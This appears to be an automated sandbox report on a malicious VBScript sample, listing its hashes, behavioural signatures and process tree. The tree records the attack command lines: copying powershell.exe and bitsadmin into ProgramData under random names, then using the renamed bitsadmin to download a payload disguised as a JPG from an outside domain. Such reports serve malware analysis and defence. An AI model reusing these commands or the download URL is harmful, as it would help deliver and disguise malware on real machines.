Analysis
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max time kernel
146s -
max time network
148s -
platform
windows10-2004_x64 -
resource
win10v2004-20231215-en -
resource tags
arch:x64arch:x86image:win10v2004-20231215-enlocale:en-usos:windows10-2004-x64system -
submitted
19-12-2023 20:58
Static task
static1
Behavioral task
behavioral1
Sample
9ce4684fb3f4cb15b06c81e5793dfa19.vbs
Resource
win7-20231129-en
General
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Target
9ce4684fb3f4cb15b06c81e5793dfa19.vbs
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Size
10KB
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MD5
9ce4684fb3f4cb15b06c81e5793dfa19
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SHA1
0eac6eb9a83291bc91e8d076dad09d2127f791a4
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SHA256
d79a3fc774f33dd5627f9890aaecd2a7b2345a31352e0220cdea8879271e3dec
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SHA512
33a9d854d4cbbe8621b879ffd62959b88b67d644be905aea733f1bed2c9a52ed16ee140b1b412a21d508cd338b10f7b3fe21e2f577334be0f0c1506aaea8f49e
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SSDEEP
192:6kgUyxM50kJxhK4yf3AaKBToCoio/jVpudh6Af/5P3t9x12Gwz6QBGNoE4rT:zBf/JxhK4yIHtoCoiofudh6i/5/t9WG+
Malware Config
Signatures
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Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-768304381-2824894965-3840216961-1000\Control Panel\International\Geo\Nation WScript.exe -
Executes dropped EXE 1 IoCs
pid Process 4880 nJmktPLin.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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Suspicious use of WriteProcessMemory 9 IoCs
description pid Process procid_target PID 5008 wrote to memory of 4496 5008 WScript.exe 87 PID 5008 wrote to memory of 4496 5008 WScript.exe 87 PID 4496 wrote to memory of 4940 4496 cmd.exe 89 PID 4496 wrote to memory of 4940 4496 cmd.exe 89 PID 4496 wrote to memory of 3184 4496 cmd.exe 90 PID 4496 wrote to memory of 3184 4496 cmd.exe 90 PID 5008 wrote to memory of 4880 5008 WScript.exe 91 PID 5008 wrote to memory of 4880 5008 WScript.exe 91 PID 5008 wrote to memory of 4880 5008 WScript.exe 91
Processes
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C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\9ce4684fb3f4cb15b06c81e5793dfa19.vbs"1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:5008 -
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c cmd /c copy /Z c:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\ProgramData\fAIMV.exe & cmd /c copy /Y /Z c:\Windows\SysWOW64\bi*.exe C:\ProgramData\nJmktPL*.exe2⤵
- Suspicious use of WriteProcessMemory
PID:4496 -
C:\Windows\system32\cmd.execmd /c copy /Z c:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\ProgramData\fAIMV.exe3⤵PID:4940
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C:\Windows\system32\cmd.execmd /c copy /Y /Z c:\Windows\SysWOW64\bi*.exe C:\ProgramData\nJmktPL*.exe3⤵PID:3184
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C:\ProgramData\nJmktPLin.exe"C:\ProgramData\nJmktPLin.exe" /transfer xvSxFW /download https://belfetproduction.com/bella/02022450767/en.jpg C:\Users\Admin\AppData\Roaming\en.jpg2⤵
- Executes dropped EXE
PID:4880
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Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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Filesize
182KB
MD5f57a03fa0e654b393bb078d1c60695f3
SHA11ced6636bd2462c0f1b64775e1981d22ae57af0b
SHA256c93b7734470cf96c5170f7b21f361cdf3f74ca819626c83c4b8a68210deeb35c
SHA5127e84dd9a3e29523d25c0927424261ced908191e3151c9802b61fa3c5fe13d1192d19996cb435bb6d9be5731b8370e8ffb6ad26a4ba0733e212a103eb0bd75a2a